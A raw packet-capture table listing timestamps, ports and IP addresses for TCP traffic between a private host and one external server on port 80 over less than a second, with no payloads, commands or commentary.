Dec 18, 2024 20:56:44.551923990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.551950932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.552032948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.552834988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.553193092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.553200006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.553414106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.554063082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.554078102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.554133892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.554965973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.554974079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.555012941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.555851936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.555874109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.555903912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.556869984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.556878090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.556884050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.556955099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.557678938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.557687998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.557750940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.558667898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.558675051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.558727980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.559590101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.559597969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.559637070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.560678005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.560687065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.560861111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.561453104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.561461926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.561472893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.561511993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.562144995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.562201977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.585238934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.585716963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.585726976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.585802078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.586452007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.586458921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.586517096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.587395906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.587502956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.587713957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.587723970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.587765932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.588609934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.588617086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.588684082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.589519024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.589533091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.589584112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.590137959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.590145111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.590198040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.591028929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.591036081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.591093063 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.591939926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.591947079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.591986895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.592820883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.592828035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.592946053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.593719959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.593751907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.593825102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.594748020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.594768047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.594774008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.594825029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.595630884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.595663071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.595709085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.596466064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.596473932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.596513987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.597383976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.597390890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.597426891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.598228931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.598262072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.598277092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.598282099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.598337889 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.599123001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.599131107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.599172115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.600004911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.600012064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.600089073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.601021051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.601027966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.601078987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.601835966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.601849079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.601888895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.602719069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.602725983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.602731943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.602910042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.603629112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.603636026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.603678942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.604510069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.604516983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.604685068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.605395079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.605401993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.605467081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.606370926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.606378078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.606389999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.606439114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.607182026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.607188940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.607341051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.608093023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.608099937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.608154058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.608999014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.609005928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.609062910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.609905005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.609920025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.610025883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.610795021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.610802889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.610814095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.610908985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.611665964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.611680984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.611780882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.612603903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.612611055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.612899065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.613533020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.613540888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.613627911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.614370108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.614388943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.614437103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.741955996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.742197990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.742209911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.742244005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.742952108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.743002892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.743686914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.744669914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.744683027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.744714022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.745279074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.745306969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.745333910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.746161938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.746215105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.747082949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.748353004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.748364925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.748406887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.749054909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.749070883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.749077082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.749100924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.749139071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.750617981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.750638008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.750695944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.751544952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.751571894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.751616001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.752461910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.752480984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.752520084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.753392935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.753406048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.753417015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.753442049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.754348040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.754396915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.755139112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.755160093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.755171061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.755196095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.756092072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.756105900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.756139040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.756949902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.756969929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.757018089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.757771015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.757822037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.778552055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.778738976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.778749943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.778794050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.779108047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.779150009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.779452085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.779464960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.779514074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.780128002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.780141115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.780189037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.780930042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.781177998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.781192064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.781214952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.782075882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.782111883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.782134056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.782779932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.782793045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.782819986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.783322096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.783333063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.783420086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.784033060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.784044027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.784080982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.784895897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.784914017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.784980059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.785829067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.785840988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.785881042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.786978960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.786998034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.787009001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.787025928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.787050962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.787959099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.787971020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.788007975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.788878918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.788892031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.788959026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.789638042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.789650917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.789685965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.790430069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.790442944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.790452957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.790491104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.791171074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.791213036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.791227102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.791959047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.792009115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.794959068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.795382023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.795393944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.795430899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.796870947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.796930075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.797077894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.797099113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.797143936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.797704935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.797724962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.797782898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.798273087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.798620939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.798634052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.798662901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.799251080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.799279928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.799299002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.799879074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.799897909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.799927950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.801528931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.801542044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.801582098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.802366972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.802438021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.803328037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.803335905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.803397894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.804203987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.804217100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.804265022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.805093050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.805104971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.805167913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.805995941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.806008101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.806050062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.806893110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.806905985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.806979895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.807796001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.807807922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.807868958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.808707952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.808721066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.808732033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.808784008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.809601068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.809612989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.809664011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.810466051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.810478926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.810504913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.853097916 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.936928034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.937166929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.937180042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.937237024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.937992096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.938054085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.938380957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.938394070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.938443899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.939166069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.939584017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.939596891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.939639091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.940722942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.940773010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.940785885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.941437006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.941448927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.941483974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.942222118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.942234039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.942271948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.943151951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.943164110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.943367004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.944000006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.944017887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.944029093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.944056034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.944067955 CET	49747	80	192.168.2.3	185.185.71.170
